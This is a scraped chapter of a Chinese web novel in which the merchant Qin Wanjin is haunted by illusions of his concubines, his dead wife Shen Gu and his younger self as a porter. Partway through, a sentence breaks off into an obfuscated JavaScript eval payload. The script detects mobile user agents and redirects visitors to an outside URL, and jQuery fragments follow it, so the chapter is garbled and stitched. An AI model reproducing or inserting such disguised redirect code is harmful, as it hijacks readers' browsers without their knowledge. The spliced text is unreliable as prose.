144.第144章 吓唬

作品:《妖精客栈

    秦万金醒来时,发现自己已经回到了沈家,十八个小妾围在身边,十八双眼睛齐齐盯着他。


    见他醒来,所有人都露出失望神色,随即,一个个笑了起来:“呀,老爷醒来了!”


    秦万金嘴角抽动。


    一个个的,都当他是瞎子不成?


    一抬手,要骂人的话就卡在喉咙里,因为他看到了自己老态龙钟的手背,皮肤皱如地上的山川河流。


    “啊……啊!!!”他尖叫着,面前的十八个年轻貌美小妾却纷纷淡了身形。


    “站住!站住不许走!!!”秦万金大喊着。


    然而,无人搭理。


    他蹒跚着步子冲出门,却不见一个人影。


    等他逛完半个沈家,惊觉还是没有一个人影,顿时冷汗淋漓。


    “老爷,你怎么在这里?”


    听到这声音,秦万金几乎要喜极而泣。


    转身看到跟他最久的妾室李梦娘,站在不远处疑惑地看她。


    她还是与他初识时的十八模样,柔弱得仿佛只能傍树而依的模样,惹人生怜。


    “梦娘……”他朝梦娘伸手,却见梦娘只是朝他笑了一下,“妾身还要去伺候夫人梳头,先行一步。”


    梳……梳头?!


    秦万金猛地一惊,想到了什么恐怖的画面,抱着头尖叫起来。


    但他惊讶地发现,自己的头上,头发还在,只是无人给他梳头,头发披散,不甚雅观。


    诶?!


    嘿嘿!


    头发还在!!!


    他欣喜若狂:“我有头发了!我有头发了!!!梦娘……”


    抬头间,已经没了梦娘的身影,他脸色大变。


    很快,他遇到了来来往往的女子。


    都是他的小妾,但都仿佛没看见他一般,说说笑笑着离去。


    怎么可能?


    他脸上的表情仿佛有火在烧。


    他把她们带回来,不应该为他争斗吗?怎么她们看起来这么和谐?


    他脚步越走越快,但他的四周,突然又变回了卧房。


    确切地说,这是沈菇的卧房。


    “啊……”他的尖叫声卡在喉咙里。


    卧房的红木妆台前,沈菇正坐在那里,对着一面模糊的铜镜,缓缓地梳着头。


    一下,一下,又一下。


    乌黑的长发如水般淌过她苍白的手指,梳齿划过发丝的细微声响,在死寂的宅院里,被无限放大,钻进他的耳朵。


    一把一把的头发,在空中飘落。


    这便让秦万金想到了自己某地个时候,曾掉光了头发。


    李梦娘袅袅婷婷地走过去,接过沈菇手里的梳子,轻柔地为她挽发。


    此时,沈菇的发头发便没再落了。


    她们低声交谈着,似乎在聊着什么很温馨的事。


    这一幕,落在秦万金眼里,比任何表面獠牙的鬼怪更骇。


    “你……你们……”他牙齿打颤,想逃,双脚却像被什么钉住了一般,挪不动步子。


    “想逃呀?”眠眠的声音从四面八方拢过来,却没有露面。


    “你……你是谁?”秦万金问了一声,忽而急道,“你是仙子!哦,不,是姑奶奶!求姑奶奶救救我……”


    正在这时,沈菇忽然转过头,目光毫无阻碍,直直地地落到他身上。


    那目光,平静无波,就像在看廊下的一株草,一块石。


    她甚至,对他极淡地弯了一下唇角。


    可就是这笑,让秦万金如遭雷击,猛地往后退了一步,重重地撞在冰凉的柱子上。


    “还不走吗?”眠眠的轻笑声响起。


    他恍然发现自己真的能动了,在沈菇站起朝自己走来之际,疯了般往外跑。


    直到跑到一个空旷的地方,他自觉安全了,也跑不动了,才停下来,喘着粗气。


    “求姑奶奶救我。”他喘息着道,生怕再晚一点,眠眠就走了。


    “那你知道错了吗?”眠眠问他。


    “我错?”他仿佛听到了世上最好听的笑话,哈哈大笑,“我是秦万金,是权商,是沈家的主人,我能有什么错?!”


    他说完好一会儿,没听到眠眠的回应声,心脏噗通噗通跳得极快,总觉得有什么不好的事情要发生了。


    听到身后有什么细细碎碎的声响,他猛地转身,看到一个人正背对着他,身形干瘦,穿着一身浆洗得发白的粗布短打,肩膀上还搭着一条脏兮兮的汗巾,正佝偻着背,吭嗤吭嗤地,扛着麻布袋,一步一步往前挪。


    每挪一步,那人的脊背就弯一分,喉咙里发出破风箱般的喘息


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17040346|182694||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    声。


    秦万金浑身的血液都凉了。


    那背影,那衣着,那姿态,分明是十七年前,还在码头扛麻袋的,人人可欺的秦三!


    “不不不!不是我……”他抱着头,喃喃自语,“我不是秦三,我是秦万金……”


    似乎是听到了他的声音,向前努力迈步的人停下了脚步,慢慢转过身。


    一张布满汗水和尘土、因常年劳苦而早衰憔悴的人,赫然就是年轻时的秦万金自己。


    只是那双眼睛里,没有后来身为“半步财神”的精明算计或贪婪狰狞,只有一片麻木的疲惫,和深不见底的卑微。


    年轻的秦三看着他,咧开嘴,露出一口并不齐整的黄牙,古怪地笑了一声,声音嘶哑:“老爷,要人扛包吗?一文钱一袋。”


    秦万金尖叫着捂住耳朵,连滚带爬地逃离。


    他疯狂地在宅院里奔跑,穿过月亮门,跑过枯荷塘,推开一扇又一扇熟悉的门。


    每一处,都是旧日场景的重现,每一处,都有那个卑微如蝼蚁的秦三。


    他缩进假山的石洞里,抱着头缩起来,就像当年被人抽打时那样。


    终于,他寻得了片刻的安稳。


    就在此时,他听到了沈菇的声音:“别怕,没事了。 ”


    沈菇的声音带着江南女子侬语音,软软的,颇有安抚人心的力量。


    他怯怯地抬起头,看向沈菇。


    只这一眼,他就别不开眼了。


    纵使和沈菇做了十七年夫妻,纵使沈菇已经离世一个月,此时再见她的容貌,他还是心惊,心里狠狠地一颤,贪婪和占有飞快生根发芽,恨不能将此人占有己有。


    “谢……谢大小姐……”秦万金卑微地道,却见眼前的沈菇眼里露出讥诮之色。


    顿时,他心下大骇,想起当初的沈菇可是俯身亲自将他扶起,可谓极为亲和,现在的沈菇,却是婚后与他分院而居的清冷模样,仿佛已经修心十余年……


    “秦万金,你可知错?”眠眠的声音,再次从四面八方向他压迫而来。


    秦万金心知,这已经不是在开玩笑。可他还是不明白,自己不就是言语调戏了一番那女子,怎么就落得这样的下场。


    这一番犹豫,便让他再次失去认错的机会。


    他四周的景色再变。